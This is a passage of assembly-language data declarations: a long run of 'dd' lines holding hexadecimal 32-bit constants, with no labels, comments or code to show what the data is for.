		dd 0E6CB4972h, 15B5023h, 0EB2CD650h, 32000E26h,	2235D658h
		dd 0A3EA9E08h, 23B06B6Eh, 0F45915h, 0FE5E2CC8h,	70ED9A0Ah
		dd 36A0F30Ah, 0A281F457h, 6EA6A853h, 0D65C1082h, 0C880B5DDh
		dd 0FEE08BE7h, 0F3E87E54h, 646A6818h, 33AD228h,	7DD1F159h
		dd 41B59861h, 0DA86698Ch, 628201Eh, 7E8D4C06h, 4948155Ah
		dd 245094F9h, 2A048C37h, 4FF1D9A4h, 29249462h, 613BD8C0h
		dd 529D5C42h, 0F38B1B0Eh, 69856FE0h, 0F8AA6EE7h, 602FC884h
		dd 234DB52Dh, 0E3088194h, 365800E4h, 8283F8B5h,	1AEB6F00h
		dd 44DAA5D0h, 604A1FE7h, 0FCD97198h, 0D0B8576Ch, 56A64955h
		dd 20E25700h, 6DBCF040h, 0BC545092h, 0F8056ADCh, 0E03E03B8h
		dd 0C9641EFFh, 306035F8h, 0F13BC7A4h, 622243FFh, 0A4682700h
		dd 0EDE9F894h, 0D98B02ADh, 0B98DD73Bh, 8493D084h, 237C08E4h
		dd 8AC339C4h, 7C279594h, 0C219Ch, 0D604B522h, 0CBF14F13h
		dd 26735104h, 0B4C66E94h, 0DD6928C8h, 0F5742A18h, 73BA0084h
		dd 98AA64F8h, 497863CEh, 39ADB601h, 5DB9D20Eh, 0F0643423h
		dd 0A4246021h, 5FF22BDBh, 0E6311F4h, 20A45C1Bh,	1ABB238h
		dd 0CE9E0C68h, 79903E27h, 6E1FD806h, 9810668Ah,	691A0CBFh
		dd 0BB405D52h, 5B0B632Ch, 12215428h, 10060256h,	220474E7h
		dd 4B857E4Eh, 0A05E73h,	249CDB44h, 17EC2D6Ah, 83ED233h
		dd 912102FBh, 438F9D23h, 0EBE8B4E3h, 4CB86DD0h,	87292490h
		dd 2511C4E6h, 23B52B80h, 40913194h, 0C03456C2h,	7FDE118h
		dd 5DB41A95h, 0D0E02C66h, 7104D91Ch, 65985FC3h,	0E9880479h
		dd 80C6F687h, 8D4BB700h, 1A807402h, 8F5AC866h, 0A8974A84h
		dd 0B158Eh, 0C9123430h,	0F8660092h, 7BE22DD5h, 0EAEA4D0Fh
		dd 8ECBC12h, 48B5822h, 0D42E3534h, 42009923h, 0D02DB395h
		dd 217B02C4h, 0E515064Bh, 0A240804Fh, 1382E8BCh, 2711196h
		dd 92CC5B94h, 4E606104h, 0EB2332D6h, 2E071136h,	9D001F30h
		dd 0E2FD8FDEh, 0F7E611h, 8A09894Eh, 91DDF91Eh, 62D7751Fh
		dd 57727F84h, 4C71098h,	0CD6A309Bh, 20F93246h, 969D2F25h
		dd 5E8E6A0Ah, 0B105D0F0h, 242B7EDBh, 8A00EC23h,	450C4828h
		dd 378806A8h, 0C96E5E1Ah, 908B4B2Ah, 0B30A8400h, 3B7B8663h
		dd 259E0045h, 0F50FCCEBh, 0F20982D8h, 16AD690h,	5FB96684h
		dd 91731FD4h, 18F8F180h, 0F2392801h, 904D4DEAh,	28796E14h
		dd 8CEEE8h, 0A22619DDh,	0E65B01C5h, 4BAF970Ch, 3FE18Ch
		dd 0C0502B0Ch, 2C62C903h, 9F3DFD00h, 0CC0FA4BDh, 5EE50263h
		dd 0DF8CEF6Ah, 888274C2h, 29022D7Fh, 0EBD0C468h, 0D6044F18h
		dd 0B6FEEB2Dh, 570F3F2Ch, 0CF20D2D6h, 0F258B43h, 0FC9C94FCh
		dd 66008CECh, 7DA40638h, 9B4DC19h, 5BE67694h, 7E60F418h
		dd 8F445098h, 1A8717E3h, 4C8C41ECh, 0BC94B0AAh,	0DE8070E0h
		dd 6546845Ah, 2ED62201h, 0CB756EBh, 4A348806h, 3BF0D64Fh
		dd 9617075Ch, 0F076789Dh, 0F38ADBF1h, 101E020Ch, 8857901Fh
		dd 54135064h, 0A03F9074h, 2A00F123h, 0FBF69389h, 611301A3h
		dd 0A1A65BD2h, 55E889EFh, 4ABC048Bh, 2D9CDC60h,	0B0256A29h
		dd 9D2426C1h, 0B84057DCh, 3C91020Bh, 0D209C338h, 185C9099h
		dd 39D60823h, 33701EEBh, 8BD6004Bh, 0C94E0D0Bh,	500273CFh
		dd 0A1DDEDCCh, 833440E7h, 0F081D452h, 8EEEE8h, 97590D3Ch
		dd 63DDFB41h, 98EC603Ch, 0B460F5A9h, 733A2465h,	5FE20310h
		dd 4100E895h, 0D2F3D084h, 3FB1BD3h, 0DDEA755Ah,	38033E35h
		dd 2384CEA0h, 0E0D7DBEDh, 0CE1C2FEEh, 6A044B0h,	9DFFE402h
		dd 0D0225Ch, 4B11DA55h,	0E7BC5Dh, 0A896B2A2h, 1B08337Eh
		dd 0FAF5D70Ch, 70A04030h, 5851605Eh, 0A96A10Dh,	37AD7F01h
		dd 5AFAD22Dh, 9F969D0h,	8A4A8581h, 49D9E020h, 7F003680h
		dd 0BFE677CEh, 542FD8h,	0A79C73DBh, 265E9F16h, 0CFE8526Fh
		dd 81E088F9h, 6778396Ah, 5ADACC3Fh, 0C6438B00h,	0F515194Dh
		dd 0BCA5581Eh, 3AE56610h, 98A69B94h, 50B87E48h,	0B2B8820h
		dd 0B3AA8FEAh, 0C4998A9h, 6F886079h, 0D3E08D04h, 20A317C2h
		dd 0B033F0E2h, 7BF930C3h, 4C3C00EFh, 5BDA4BEBh,	94000C97h
		dd 0D81A8679h, 18CC1B5Ch, 0A865AE5Dh, 212015EDh, 0A59E27E7h
		dd 0B908003Dh, 8DE64216h, 28202135h, 6A0096D5h,	814D11C8h
		dd 6A2E9CDDh, 846243D1h, 9D2523C0h, 44B93A87h, 88F81F80h
		dd 0F41D01h, 5FC66463h,	1EFE6ECEh, 0C9D45926h, 2370E700h
		dd 16F2B84Ch, 3A54C545h, 21A23F0h, 0A60C47Ch, 49E04841h
		dd 0ADC000ECh, 5C2E8BF3h, 0DE18EA7Ah, 30244FB1h, 0B940B7B0h
		dd 6501CF0Eh, 0BF241E1h, 80F204EFh, 0F5E02AC8h,	0DBD1C25Ah
		dd 0C06891D3h, 0A524D65Bh, 0EE1830B7h, 0F4C6821h, 56549715h
		dd 9747900h, 0A000F385h, 719AF8D7h, 48EE6DB4h, 0D3090462h
		dd 0F0107323h, 0F904C9FCh, 0B6AA7E76h, 0E100BCA2h, 82B850ABh
		dd 0F2007D65h, 78BA4EA7h, 1D3B93BEh, 4FF32EF1h,	40608849h
		dd 0D9A8D01Ah, 9B7ED700h, 12DA5D1Eh, 0C09876CDh, 0DBB57228h
		dd 66249E43h, 80B848D2h, 73CCC28Eh, 83E5DAEh, 0FAC8E5EDh
		dd 0A1034C00h, 3082470Eh, 5EE9754Ah, 9C045343h,	55EC6C35h
		dd 0ED8BF680h, 0D22400D7h, 0D470CBB0h, 9E1E08C3h, 3F42F3B5h
		dd 0C1B17871h, 0DC506960h, 6341DF03h, 467468E2h, 0DAEAF100h
		dd 697F7D81h, 3DC91E8h,	962265CCh, 204BB001h, 0D7790FCAh
		dd 0E95291F8h, 0C908F0h, 504DD298h, 0DD1F3B57h,	321DD1FEh
		dd 0DC00BD55h, 0A0B6EE7Dh, 0D3F03DBh, 1D91793Eh, 21C20830h
		dd 0A0EE84h, 0E91E42B5h, 0D8D7180Bh, 5DC0F400h,	0D10E7DE0h
		dd 729A0059h, 6773EEAFh, 2D08F265h, 0DCE7E9h, 0A51F3C58h
		dd 220021D5h, 0BBFBBE42h, 2473526Ch, 1B876F5h, 87B8C762h
		dd 60E8F495h, 80C31774h, 0C3D502F0h, 33AECB81h,	0E201160h
		dd 0C95E06A4h, 0A9D01A9h, 9A211E20h, 0D3CAF0ADh, 0D16018C2h
		dd 0B578902Dh, 3FDA08A0h, 0C3643DC5h, 0A0ED405Ch, 760FD348h
		dd 0C5D24A00h, 0E256F04Ch, 61A8C13Dh, 8FD3F3EDh, 2AE7AE31h
		dd 7B3C847Ch, 0CC052107h, 62C380C6h, 6CA9056Fh,	5DDAE3Ah
		dd 40ED3988h, 6FB4BB9Ch, 230086D2h, 0BE5341Ah, 240814h
		dd 79B74FAFh, 2220FDEh,	1D617860h, 738793B0h, 0E1740CFEh
		dd 69087BE6h, 0B82669C7h, 66BBD9D0h, 20E0A1h, 1938D2BEh
		dd 17E9BC0Fh, 0CCA8DCE4h, 0B8008771h, 192E5981h, 0CC1E52BDh
		dd 13A97608h, 0ADB82C2Ch, 14E3EA01h, 21DC1123h,	7E0231ADh
		dd 0D0C78971h, 4D00A679h, 0B7EF9484h, 0A428E9BAh, 0FEB8FA34h
		dd 22864659h, 31140EA9h, 9780D8B8h, 0F439ECF8h,	0B2F90A8h
		dd 0D7408ECh, 0C7DE2C00h, 56913A57h, 0D0EC375Eh, 0D4C5F060h
		dd 481DCD4Bh, 0C7C09B51h, 94821AD7h, 0DC250069h, 54ED2776h
		dd 7D0896D9h, 80E140B4h, 0B6F9DB3Ch, 9B07C876h,	9D3869D4h
		dd 213146h, 0CEFA2322h,	7A66CDC2h, 5409D3F8h, 0EFEE619h
		dd 0BF09D05Ch, 8B01055Eh, 2429F9ECh, 0F3F6110Ch, 0DEF41000h
		dd 51D2BD5Bh, 0F8C1F427h, 9061D9FEh, 42E1881h, 3076E9FAh
		dd 2046329Dh, 37FA1629h, 0E7B67400h, 54D7CC10h,	12DF7112h
		dd 3001EF0Fh, 8893AF14h, 7D8BFE10h, 338063C8h, 49E793B7h
		dd 5BE8291Dh, 3B6C05E8h
		dd 0BFDC40DDh, 0D46459A3h, 4EF0B406h, 6F1F94Ah,	923D4D78h
		dd 0EE4678E3h, 8B93AC02h, 1A3173FEh, 93B43210h,	0E5D3AB0Eh
		dd 0A44EC020h, 0A364C6Ah, 65EEF655h, 5690098h, 0F0211C41h
		dd 0C35EC03Fh, 0CA3045F2h, 0B9DF00D8h, 154FC94Dh, 6C00443Fh
		dd 0F17B374Eh, 38F3286Dh, 12A85773h, 0D25E2A64h, 0EFDF00E4h
		dd 1A152B41h, 0D300128Ch, 5546DD62h, 0CA07134Eh, 118489B0h
		dd 938287E4h, 7483FEC1h, 3888610Ch, 0F89301AAh,	0E07A81CAh
		dd 0E8DDC014h, 22806899h, 0C131272Dh, 0EAE2008Dh, 6F7F594Eh
		dd 7B0066C7h, 0E3AB5BFCh, 3548C85h, 5ECB7D6Ch, 90000BCFh
		dd 39FAAC53h, 0C5F6DCh,	8F8A2A1h, 15C221DDh, 0E0D3672Ch
		dd 3EEA4030h, 587D60F6h, 0F2F8BB7Ch, 990BDE03h,	0EA949154h
		dd 25B8B07Eh, 76E811FAh, 80438838h, 42FA2D1Ch, 0C33BB670h
		dd 49EC83A2h, 0C92E84B1h, 21F85EBEh, 0C68600BCh, 0F6C86B47h
		dd 8948B35Ch, 550E1229h, 5FE83004h, 28C6A8C8h, 0ED49451h
		dd 7343BE3Ah, 10602F36h, 49C0D0F9h, 66DB9D57h, 7B5A0500h
		dd 0E3ADA61Dh, 634675B4h, 726D78DEh, 0E9BBC809h, 8B60B023h
		dd 59AD10B8h, 301FE08Eh, 0B12600B8h, 51D9816Dh,	64C7405h
		dd 0C1562000h, 0FFF7D149h, 49B980C5h, 0ED789F4Eh, 917348DEh
		dd 0D75DD3Bh, 8D74F0Eh,	0DB81F038h, 6718E660h, 157CB05Ch
		dd 94DC9A74h, 11725E08h, 0D66C7E03h, 0C0186D57h, 5BF928h
		dd 50AA5Ch, 0D4B1B60Ch,	4E34482Ah, 0CCEFDCFEh, 390027B2h
		dd 796FA27Dh, 0BDEE36h,	58F23246h, 0AF7BCB8Fh, 4BDB620Eh
		dd 0B803DF9Fh, 80480ACFh, 33A9A6h, 0C1D41AEh, 2C388FBFh
		dd 0E45B641Dh, 2899CAC0h, 7EA6ACBh, 74CBBDEh, 3CD920CCh
		dd 0AC000B0Ch, 71D66708h, 7465C7h, 4D8819ABh, 83AE7625h
		dd 116A3334h, 93E0046Bh, 227C7BA3h, 3B85000h, 0D0AE7284h
		dd 3EC3724Ch, 7F3B922Dh, 973E9383h, 0D9C169CFh,	1429902Ah
		dd 484E6584h, 1354292h,	2F94E822h, 0F642E25Ch, 112BAD11h
		dd 447D950Ch, 22848A58h, 4060090Bh, 8AB06C79h, 1F90703Ah
		dd 8052AA0Fh, 0F28E3C48h, 6C0EB818h, 0A00E7EACh, 171C666Dh
		dd 0F4B702EEh, 152397AEh, 0BA03ABE0h, 0F04AD41Ch, 3FE00100h
		dd 20C569h, 9CEC4D7h, 0AF8D836Ah, 3904F900h, 0F88F0B84h
		dd 70FB0063h, 1A642712h, 5100D10Dh, 0A9799D7Eh,	0E91C3A8h
		dd 0C7398FBh, 8346CC0h,	0FA00E365h, 0EFA1506Dh,	1420CC9Fh
		dd 0C48AE631h, 7F7070h,	89BA6E40h, 1D3A8F39h, 484C5830h
		dd 7672098Ah, 2B00F171h, 0FC1B4EEEh, 0F0104D62h, 7AA96F51h
		dd 54FF0115h, 0BD4814B9h, 58F44024h, 2D001E03h,	9EB8052Eh
		dd 0E14285Fh, 41571FDBh, 7AE2920h, 0A30065EDh, 471ECAA5h
		dd 7B0BF08Ah, 0E40600F7h, 9A7D78AAh, 100E8EAh, 2774AECCh
		dd 736B27Eh, 4131D82Eh,	5F44D049h, 0AD03F5AFh, 463EF477h
		dd 0DC38007Eh, 1D42055Ch, 5E00041Fh, 974CF315h,	0F32BB7Fh
		dd 82675091h, 0F5D0A860h, 0E7008E98h, 0AE2464B7h, 1D463573h
		dd 80CA6588h, 51F8B209h, 0AA008BB6h, 0FD031B16h, 755FE4h
		dd 683C991Ch, 64F18CD3h, 0F3CBBA00h, 0E8FF6D57h, 70A001Fh
		dd 5A14E11Ch, 200030Bh,	94BE38A3h, 4842523Ah, 0F5168C41h
		dd 0BB1407D9h, 9C11F079h, 63006087h, 1705733Ah,	8D959Eh
		dd 0A8D323F5h, 3B82C767h, 0E592870Fh, 42072065h, 1ECDC4FBh
		dd 833722FFh, 0E6D61520h, 0F1F747F8h, 0A159E907h, 1EA0562Ch
		dd 9B686Ah, 28B96C5Ah, 38905788h, 0D03EE900h, 0A4197C82h
		dd 27F6E0h, 5320234Fh, 25ADB88h, 0EC4A9E1Fh, 0CBD44200h
		dd 0EAF860h, 0C5657B90h, 1328D66Bh, 0B1B93E00h,	7DAC419Eh
		dd 3C994812h, 88A0FD3Ch, 0EC047B00h, 65062A7Ch,	2DAF38E2h
		dd 0CA48A01h, 0F8DFD0A6h, 131C349Ah, 0E41F6838h, 0EDC93F80h
		dd 390EA3h, 4E1AFAE8h, 52EC07CFh, 6E0CB007h, 7773A944h
		dd 0E8758060h, 121FE285h, 0B343C9h, 0F4D14408h,	0F900EC3Ch
		dd 0AFD5282Ah, 0C798F6h, 6A3B8F8Ch, 359F31A9h, 0A607F001h
		dd 8851D33Ch, 0DB49E4h,	0F9E07032h, 0BFDF4B63h,	100AC48h
		dd 94B7C7FDh, 0EE4040B6h, 0F848AA15h, 4A1A0E63h, 0B763CE89h
		dd 193E3D39h, 95F280FBh, 19DB0D96h, 1CD742Fh, 0A75CD422h
		dd 0F89E32CBh, 9001DD4Eh, 5F87924Fh, 16C8A5F6h,	3AAC9021h
		dd 0B80006DBh, 681A5642h, 6C7A4FD9h, 204C5400h,	6DA1D82Ah
		dd 7EBDFCACh, 0C47B0017h, 75EB6A05h, 11C04ECCh,	216BED5Ch
		dd 65D1053Eh, 0C0E36428h, 0F0C33F7Eh, 41D7421Ch, 0A79CEC7h
		dd 0C1EEE817h, 0EDD59AA8h, 70DD01C4h, 6BBC0045h, 0DBF63B73h
		dd 1D00E772h, 0F166ECF2h, 60DE088Dh, 0E0B686CEh, 6301774Dh
		dd 0FD210327h, 0E9D0A2E8h, 3BC30065h, 2F8E1DF5h, 0A63516Bh
		dd 0E88A720Ch, 301714B8h, 4EF82378h, 0E43AC171h, 571880BAh
		dd 0D6AD1960h, 0F34B1210h, 512C0086h, 402721C4h, 0FE1456E6h
		dd 0FC8A4Fh, 5E9D3D63h,	38D65Ah, 69819EC9h, 0A15F10CBh
		dd 2EDD4202h, 80F43907h, 8D325184h, 89280077h, 92D404EAh
		dd 663FA2BDh, 977B079Fh, 606075C9h, 0F132B15h, 23F39EEAh
		dd 0CC2DE463h, 0E74CA788h, 0D151641Ch, 9E33F600h, 9B9FB7h
		dd 0C124A4B6h, 775A8F5Fh, 8DBD0804h, 0BC8015FDh, 1286F6A1h
		dd 0EB74B6h, 0E48FAD8h,	400DF3Eh, 0BC7208A5h, 48E4FE43h
		dd 0A43B227Dh, 1279D800h, 574533EDh, 0CB475E1Dh, 0F6511440h
		dd 7C274BAFh, 773400C6h, 0A644E6B4h, 0C75064BEh, 0F300FCE7h
		dd 9FF6863Fh, 0EC9B1A7Fh, 503E0026h, 58C0A0C5h,	0FF0044D3h
		dd 0F5BF7329h, 0A1E7C3h, 8C8BED3Dh, 0F23E91BCh,	20791200h
		dd 0D6BE70C8h, 0ADDB0054h, 394823B6h, 11EC8E92h, 387BE0E2h
		dd 0C5327802h, 409D14F6h, 72CAABh, 0B4C41528h, 0C0302473h
		dd 8F44381Ch, 2D6DA480h, 0D336C3h, 0E5B13E47h, 0D75F74BBh
		dd 0E39F0101h, 49B27FFCh, 1AEC1021h, 0FE241C16h, 66BB80D1h
		dd 0F0921832h, 0BDF4C700h, 5ACA277Ch, 0AAAF00A6h, 52E007EEh
		dd 892890C6h, 0C80108B0h, 0F485608Ah, 0B4603B35h, 942F01E3h
		dd 4F9BC3B4h, 37D4603Eh, 8935BE3Ch, 824EA23Fh, 403995E0h
		dd 585C60h, 0E73C31CAh,	53D9C27Fh, 3E36A416h, 444C5000h
		dd 0FE08C633h, 27E80362h, 4785C530h, 5CA822A8h,	435E6E00h
		dd 0FE4144D7h, 0C5E609D5h, 0AC185725h, 857C3F05h, 0CA3F28B0h
		dd 0F0090F37h, 2EC800BEh, 0E7A5EAh, 40C00A65h, 851C2C34h
		dd 0E4F41100h, 92F0D00Dh, 6090B0h, 0B486EF47h, 0CEAC7EA2h
		dd 0BF42EB00h, 0C1DDA90Ch, 0C99D00A8h, 1084B5Ah, 0A00E1321h
		dd 800DB5B3h, 0EED2EB3Eh, 512300A4h, 0D177ED91h, 5C3ED8F0h
		dd 9A9900A3h, 3A767D95h, 92C00009h, 8321C614h, 1200B797h
		dd 131E1618h, 2E7EEA8h,	0DAC1200Ah, 0E4804D46h,	47B9B5ABh
		dd 8A16327Eh, 0D800A218h, 89DD0495h, 91A8001Ah,	4BCA7BBDh
		dd 0CB30BFA7h, 0A65C3256h, 0AB08A09Bh, 389C0246h, 2537612Eh
		dd 0E86BE480h, 0ED80C272h, 30C90217h, 491C08FFh, 5CE1460h
		dd 0F5BD0200h, 0E63B5DB6h, 0F20F188Bh, 0E5E4216Ch, 839BE83Dh
		dd 46ACD225h, 1F09915Fh, 4FBA310h, 0E279AD75h, 0C1D5Ch
		dd 0EF267F21h, 7F70A69h, 8108CE88h, 0E60506Fh, 84F215C4h
		dd 80C87C00h, 0C66FCD3h, 1801FC47h, 0B822A176h,	6700C324h
		dd 9A327FC2h, 7CE4233Dh, 0F1610063h, 27C5DA01h,	380016CCh
		dd 62FA8145h, 1E4CBC89h
		dd 0A43249A3h, 22051750h, 38C06900h, 0AF00D7ACh, 0F5632A92h
		dd 0E5AE27h, 394A55Dh, 0B216F7F6h, 83776A0Eh, 308F435h
		dd 600F8175h, 1290A907h, 24B53070h, 17504735h, 11EB017Ah
		dd 70C94D9Fh, 0A301C43Ch, 0ABF1186Dh, 3EEC4C1Ch, 7C2B005Fh
		dd 24F057E1h, 227E7782h, 0B8B52900h, 0F79FCB5Eh, 0A04B0493h
		dd 0C2844F2Fh, 98101FECh, 629CA810h, 2A6F009Ch,	45E20D86h
		dd 313C52A0h, 3D03F0D0h, 18BE4115h, 0FF8FB17Fh,	24A170h
		dd 82B46FA4h, 56E467B9h, 0FA1DC80Fh, 2ED54192h,	50706BDEh
		dd 0B8D67930h, 22FC03C0h, 1A827121h, 8AA626F8h,	2A7E3A00h
		dd 1B0694B2h, 0A0AE00A4h, 6DC6F14Fh, 9A0089BAh,	83E7F314h
		dd 0F4E99B74h, 5033E99h, 0F99426h, 0EEC55CC0h, 2600B775h
		dd 96CB8C10h, 3643E6Eh,	0F1FFAEF3h, 0F8042CDFh,	94CC9F6Ah
		dd 0B39CB0h, 7FC7336Ch,	70EBCFABh, 8F1B0301h, 10B0D0F1h
		dd 0E026E2E0h, 0D9D801C1h, 0F84FD15Eh, 0DCFE6132h, 33004599h
		dd 0A6154956h, 0C9DFB1Bh, 22574BA1h, 9000D260h,	0EFC42A1Fh
		dd 79E0EDD3h, 69B8016Eh, 0F2AE48EAh, 870CD17Ch,	277E2E99h
		dd 47A73DD0h, 2D1008Eh,	0AAB6D719h, 703CFBE9h, 0C7980ACh
		dd 93D2CA83h, 30210028h, 401BB8Bh, 2F034F9Ah, 6C1215EDh
		dd 83C0EC72h, 5ABB35Fh,	4BA3049Ch, 0EBECC064h, 0AD792FFFh
		dd 762EA701h, 9641D2EFh, 0CFE0C0h, 4D741678h, 0AD0C80F7h
		dd 1336E60Eh, 909E40CBh, 250BD40Fh, 78877B58h, 57DF628Fh
		dd 55D02040h, 6B50F607h, 8049E733h, 48825F19h, 5AE6B1h
		dd 0B94E9E7Ah, 69F0B6EAh, 4171A07Ch, 26B8E600h,	9BD95D60h
		dd 301A72C9h, 2241F205h, 0B61E5828h, 130C9F8Dh,	54BF90D7h
		dd 0FEE89C37h, 81E30EC2h, 0A5A12D0Ah, 2868FC5Dh, 49DB098Ch
		dd 6A060BEh, 7E1F2A8Eh,	0ED5F00E0h, 6D62904Ch, 0D4F76CCDh
		dd 1F00E23Ch, 4188B6F1h, 2823AFh, 78AD03CFh, 0D28F928Ch
		dd 0A67CEC12h, 68FAAA00h, 373BAC8h, 971C5BBEh, 782869FDh
		dd 1F0F8461h, 0E00AD4DEh, 52E7C5C4h, 78E90086h,	51089BAAh
		dd 0C8A05D1Dh, 9C285B21h, 7C92C649h, 402B2C07h,	80CE0D46h
		dd 0DF347FFBh, 1A8507BAh, 50C27Dh, 0E77E269Dh, 0C3F8C4A8h
		dd 0E39DA07h, 3C006763h, 10EC02CCh, 0C804F1h, 0E9247533h
		dd 0F70B0Ah, 32CCC8Eh, 2D6B7A38h, 439F080Fh, 2A6C2029h
		dd 1EB928h, 0A3BC33F8h,	87185096h, 0CCE0B8A8h, 0A0F449h
		dd 3EB6D652h, 0E8C0A84Bh, 10D0C048h, 0C1B8EB54h, 4C169400h
		dd 0B54A9B66h, 0D628065Fh, 282F40EDh, 0C206D490h, 172E1337h
		dd 0D93900F8h, 2390E0C5h, 0D8A02577h, 9027F2Ah,	31D6338Fh
		dd 1C4354h, 0DE3879D0h,	0C2C77D9Dh, 4CBF3900h, 203F457Ch
		dd 0CCF8A950h, 6B26FC38h, 0C69A02B4h, 2C48AD2Ah, 4202338Bh
		dd 9BDD0B5Ah, 628C8F8h,	85BB26E4h, 945400E7h, 0C9381274h
		dd 0FFA1D7Fh, 65620400h, 39AA80C5h, 0D9F9005Ah,	82F3FFA1h
		dd 0E9056C34h, 7994EC61h, 814CCC49h, 0FE0175B4h, 1B5E798Fh
		dd 0AEBE9360h, 5C407A55h, 321C067Dh, 70A87C85h,	9E000CE2h
		dd 0BF6CEA06h, 1CB5169h, 547A5BF3h, 0E6D36664h,	0D203060h
		dd 3681C506h, 28B0F4h, 3AD87FB4h, 8B9AFA0Bh, 1E86400h
		dd 0BDE62283h, 5553759Eh, 34A7E0BBh, 0E7B82401h, 244570AAh
		dd 0A20ED490h, 72F3Bh, 0F03086C4h, 37E0048h, 0BA890E78h
		dd 6E02695Ah, 0A2971BE9h, 7AE88767h, 0F7BFB650h, 1D8E0028h
		dd 0EC7F17A7h, 0C9001C24h, 9883FC44h, 0CBABDEh,	57ACDB0Ah
		dd 0BB63661Ah, 0E580DF01h, 0A84A797Fh, 1700283Ch, 0A5B21521h
		dd 0F40082D4h, 0BF708098h, 0D2DA27h, 0D034F751h, 0DC160877h
		dd 0E5A52F00h, 0CFC37221h, 5D240083h, 51368B91h, 0FF187B8Dh
		dd 23F84E2Eh, 0A0A21ECFh, 2022005Ah, 0AE64D8DAh, 28244C18h
		dd 0A6CB12h, 7FC572B4h,	0FDBC7392h, 3D28F9B8h, 0A3000874h
		dd 58C953FEh, 0B8198DF9h, 0F050FA2Ch, 0A6F000C3h, 0DAACB6BCh
		dd 8500C532h, 0C17E533Bh, 491496D6h, 0EC3AF428h, 0BE220A80h
		dd 0EDB46EF0h, 0D34D6D00h, 0CD7FB723h, 0D2C0051h, 471AE057h
		dd 0EC0B7117h, 87699072h, 14F2B3C6h, 28184091h,	0BEA80BC7h
		dd 158010FAh, 0D63F57Ah, 407CD200h, 41A751B3h, 9E86Ah
		dd 8558A246h, 477B759Fh, 5F1E44F6h, 0C142E46Dh,	80294CA9h
		dd 0F838EAE8h, 0FD207C5h, 70CC3F1Eh, 4C98DFEBh,	6275CB2Eh
		dd 232ADB00h, 4866E247h, 0D9005BE3h, 79F69C25h,	0EEB80991h
		dd 1FC275Ch, 0D6E9A6B0h, 906404FAh, 485312CAh, 9380055Fh
		dd 102F83F8h, 6F0010EEh, 1C03F29h, 3DE34E7Bh, 0D481469Dh
		dd 89C591FBh, 5F0C70BDh, 0BA771002h, 60B35680h,	2533C6Ch
		dd 0B4935C54h, 5B608519h, 0DF012A7Bh, 86741444h, 0C420C188h
		dd 76821F4Fh, 372C8047h, 5AE8F249h, 2DDD7F0Ah, 3BED053h
		dd 0AAAE0868h, 0E045D3C4h, 0E3A97D5h, 857824DEh, 80840E27h
		dd 59D7EF6Eh, 0BE4ACA00h, 4B65ACD1h, 7619121Dh,	146C8235h
		dd 0D60D36C0h, 0A4226E00h, 0C2B4E57Fh, 0BC041DA3h, 85A6C106h
		dd 6046BA2Ch, 0DBF4C8DCh, 1170984Ch, 0E00218A5h, 457AEC04h
		dd 0A4000458h, 916420D9h, 4AB13A2h, 988856CDh, 3768D2C8h
		dd 0F4D91FC0h, 0CB64E316h, 90FD0881h, 0C198F0h,	0E72CD22h
		dd 0F0E36501h, 6B9E3300h, 20CCA0CBh, 8B7D2637h,	0C6C90964h
		dd 834F1848h, 8F197C00h, 0D185379Ch, 499E1CB4h,	4844D894h
		dd 1500CBF2h, 582B231Bh, 7B8C2DECh, 0AE7E001Fh,	3F0C8713h
		dd 0E5006F28h, 96A5BA91h, 12816088h, 13539DAFh,	89A44085h
		dd 662E27Ah, 970EB909h,	877C808Eh, 26B05FA4h, 40F0CF4Fh
		dd 1C25FA72h, 5BA1A300h, 711AAD7Eh, 0F3DD010Ch,	3DA29FEBh
		dd 0DB55F863h, 801D9E01h, 0C55AA691h, 0BB00303Dh, 254593C3h
		dd 0DB284666h, 0C13A011h, 0F008E14h, 0A30205F8h, 4E1A00FBh
		dd 0D9B496DFh, 7B18213Dh, 0E431CB52h, 991D2684h, 0E67C4090h
		dd 2B011280h, 47C927A5h, 0AAECC208h, 0F3700FAh,	0DCA0C0A2h
		dd 7B0E7103h, 4F40B65Eh, 281C7360h, 0FFA801BEh,	0F6959FF8h
		dd 435FC4h, 0B6948321h,	0EE87AF07h, 0D1B84700h,	6DB3AC02h
		dd 93241F22h, 7B4440A6h, 0B8E57E68h, 9BE8F89Ah,	141EB300h
		dd 5EED65CDh, 10B1019Ah, 0E49386F2h, 97C6C68h, 0C874D9EFh
		dd 0AAF8BCh, 0A251CF03h, 80CE0440h, 7CBBC501h, 694BCC6Dh
		dd 0F645DCDCh, 2D567CCFh, 1400AE98h, 0BF0DB5BEh, 32AA9500h
		dd 0E0872213h, 45C32D68h, 0F9DD2C10h, 0BC91360Bh, 0FF94C03Fh
		dd 90E7082Fh, 1600449Ah, 8BB5F44Bh, 104C90A1h, 27882B45h
		dd 0DE41803h, 0E080FF1Dh, 8EBC6ADAh, 8F260711h,	5828683Bh
		dd 727474EFh, 188A4Ch, 0D97A2BBh, 9D6C23h, 32956BBCh, 0EE7B300Ah
		dd 9464C700h, 0F479747Eh, 0A93C585Eh, 0A9884803h, 404C98F6h
		dd 3F90009Ch, 0C3752924h, 436A0030h, 0F70DA448h, 76001B2Bh
		dd 844227C9h, 7FC1AEh, 7222DAA0h, 50D96F1Dh, 0CC7AC801h
		dd 0FCBFEC0Dh, 0E156F0h, 23D7AB37h, 16ADB564h, 0F07D3E30h
		dd 79A6EF6h, 0B89E566h,	9C708014h, 93B8E684h, 0B8240E30h
		dd 4BCD5Ah, 0CC4EC1F8h,	59876A56h, 6C08C550h, 0EA578100h
		dd 200708D4h, 3951006Eh, 0E3B852EDh, 5400DABEh,	0AC89166Ah
		dd 0D59F33h, 0B4FF9C37h, 0F312C144h, 8B025077h,	0ECF1EA97h
		dd 0B349607Ch, 0D41E05AFh, 0D02A305Fh, 7D253AE8h, 2D6DA807h
		dd 4A902621h
		dd 1387CFh, 3D9DA45Fh, 172F4129h, 2BD07300h, 55F9A550h
		dd 15B200F0h, 26D1761Eh, 0AB017C6Ah, 0E05BD6A2h, 0A02FEA98h
		dd 83012EB4h, 61828117h, 60DA9C71h, 1277AEB8h, 0B8F251h
		dd 0FA498741h, 0AA093BE3h, 0C1E78CACh, 6BC80110h, 887291h
		dd 4063BA26h, 0C4ECE42h, 4607D600h, 608973EFh, 4B040718h
		dd 0E0176916h, 0F6679E75h, 50AC0600h, 80F7E079h, 5B77011Bh
		dd 0E73E41D7h, 5C10807Fh, 1DE146D6h, 1C76003Bh,	0C1DDD512h
		dd 30003C0Dh, 0C6509444h, 0FC655AD0h, 0D8C80036h, 7A599F9Bh
		dd 52460B5h, 480DC32h, 69B9C766h, 834B12AFh, 40B05FB4h
		dd 0CEE11C86h, 0BD016057h, 1A977410h, 81D453C2h, 957107E5h
